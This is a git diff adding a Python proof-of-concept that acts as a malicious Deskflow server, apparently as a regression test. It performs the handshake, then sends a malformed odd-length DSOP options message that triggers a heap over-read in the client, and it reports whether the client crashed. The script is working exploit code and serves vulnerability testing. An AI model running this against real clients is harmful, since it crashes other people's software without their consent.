diff --git a/security/poc/cve_XXXX_XXXXX_options_oob.py b/security/poc/cve_XXXX_XXXXX_options_oob.py
new file mode 100755
index 0000000..de33903
--- /dev/null
+++ b/security/poc/cve_XXXX_XXXXX_options_oob.py
@@ -0,0 +1,143 @@
+#!/usr/bin/env python3
+"""
+CVE-XXXX-XXXXX — Deskflow client DSOP options odd-length out-of-bounds read.
+
+A malicious or compromised server can crash a connected client by sending a
+DSOP (set-options) message whose option vector holds an ODD number of 32-bit
+words. src/lib/client/ServerProxy.cpp::setOptions treats the vector as a flat
+list of (id, value) pairs and walks it two words at a time, reading
+options[i + 1] without first checking the length is even. A one-element vector
+carrying option id "HART" (kOptionHeartbeat) enters the heartbeat branch and
+reads options[1] — one word past the end of the buffer — inside
+setKeepAliveRate(1.0e-3 * options[i + 1]). Screen::setOptions has the same
+pair assumption for the half-duplex ids.
+
+This PoC is the malicious server: it listens, speaks the plaintext v1.8
+handshake ("Barrier" hello, then reads the client's helloback), then pushes the
+malformed DSOP:
+
+    44 53 4f 50 00 00 00 01 48 41 52 54     DSOP | len=1 | "HART", no value
+
+Detection: the odd read is a 4-byte heap over-read. A release build usually
+reads adjacent heap and limps on, so run the client built with AddressSanitizer
+to see it deterministically — ASan aborts on the read and drops the connection
+(VULNERABLE). A fixed client rejects the odd-length vector and keeps the
+connection alive (PASS). Prereq: point a client at this host with tls disabled,
+since the handshake here is plaintext.
+"""
+
+import argparse
+import socket
+import struct
+import sys
+import time
+
+PROTO_MAJOR, PROTO_MINOR = 1, 8
+HELLO = b"Barrier"
+OPTION_HEARTBEAT = b"HART"
+
+
+def frame(payload):
+    return struct.pack(">I", len(payload)) + payload
+
+
+def recv_exact(sock, n):
+    buf = bytearray()
+    while len(buf) < n:
+        chunk = sock.recv(n - len(buf))
+        if not chunk:
+            raise ConnectionError("peer closed during read")
+        buf.extend(chunk)
+    return bytes(buf)
+
+
+def recv_packet(sock):
+    size = struct.unpack(">I", recv_exact(sock, 4))[0]
+    return recv_exact(sock, size) if size else b""
+
+
+def handshake(conn):
+    conn.sendall(frame(HELLO + struct.pack(">HH", PROTO_MAJOR, PROTO_MINOR)))
+    helloback = recv_packet(conn)
+    if len(helloback) < 7 or helloback[:7] not in (b"Barrier", b"Synergy"):
+        raise RuntimeError(f"unexpected helloback: {helloback!r}")
+    return helloback
+
+
+def malformed_dsop():
+    # "HART" (kOptionHeartbeat) is the one option id whose branch in
+    # ServerProxy::setOptions dereferences options[i + 1], so a single-element
+    # vector makes it read the absent paired value one word past the buffer.
+    return b"DSOP" + struct.pack(">I", 1) + OPTION_HEARTBEAT
+
+
+def client_survived(conn, window=3.0):
+    conn.settimeout(0.5)
+    deadline = time.monotonic() + window
+    while time.monotonic() < deadline:
+        try:
+            data = conn.recv(4096)
+        except socket.timeout:
+            continue
+        except OSError:
+            return False
+        if not data:
+            return False
+    return True
+
+
+def main():
+    ap = argparse.ArgumentParser(
+        description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter,
+    )
+    ap.add_argument("--host", default="127.0.0.1", help="address to bind the malicious server on")
+    ap.add_argument("--port", type=int, default=24800)
+    ap.add_argument("--timeout", type=float, default=60.0,
+                    help="seconds to wait for a client to connect")
+    args = ap.parse_args()
+
+    print(f"CVE-XXXX-XXXXX — dsop options odd-length out-of-bounds read")
+    print(f"malicious server on {args.host}:{args.port}")
+    print(f"start a deskflow client (tls disabled) pointed at this address\n")
+
+    listener = socket.socket()
+    listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+    listener.bind((args.host, args.port))
+    listener.listen(1)
+    listener.settimeout(args.timeout)
+
+    print("[*] waiting for client")
+    try:
+        conn, peer = listener.accept()
+    except socket.timeout:
+        print("[ERROR] no client connected within the timeout")
+        return 2
+    finally:
+        listener.close()
+
+    with conn:
+        conn.settimeout(10.0)
+        try:
+            helloback = handshake(conn)
+        except (OSError, RuntimeError, ConnectionError) as e:
+            print(f"[ERROR] handshake failed: {e}")
+            return 2
+        print(f"client connected from {peer[0]}:{peer[1]}, helloback: {len(helloback)} bytes")
+
+        conn.sendall(frame(malformed_dsop()))
+        print("sent malformed dsop, vector length 1, option id heartbeat, no value")
+
+        alive = client_survived(conn)
+
+    if alive:
+        print("[PASS] client survived — odd-length options rejected, fix in place")
+        return 0
+    print("[FAIL] client dropped connection — VULNERABLE (CVE-XXXX-XXXXX)")
+    return 1
+
+
+if __name__ == "__main__":
+    try:
+        sys.exit(main())
+    except KeyboardInterrupt:
+        sys.exit(130)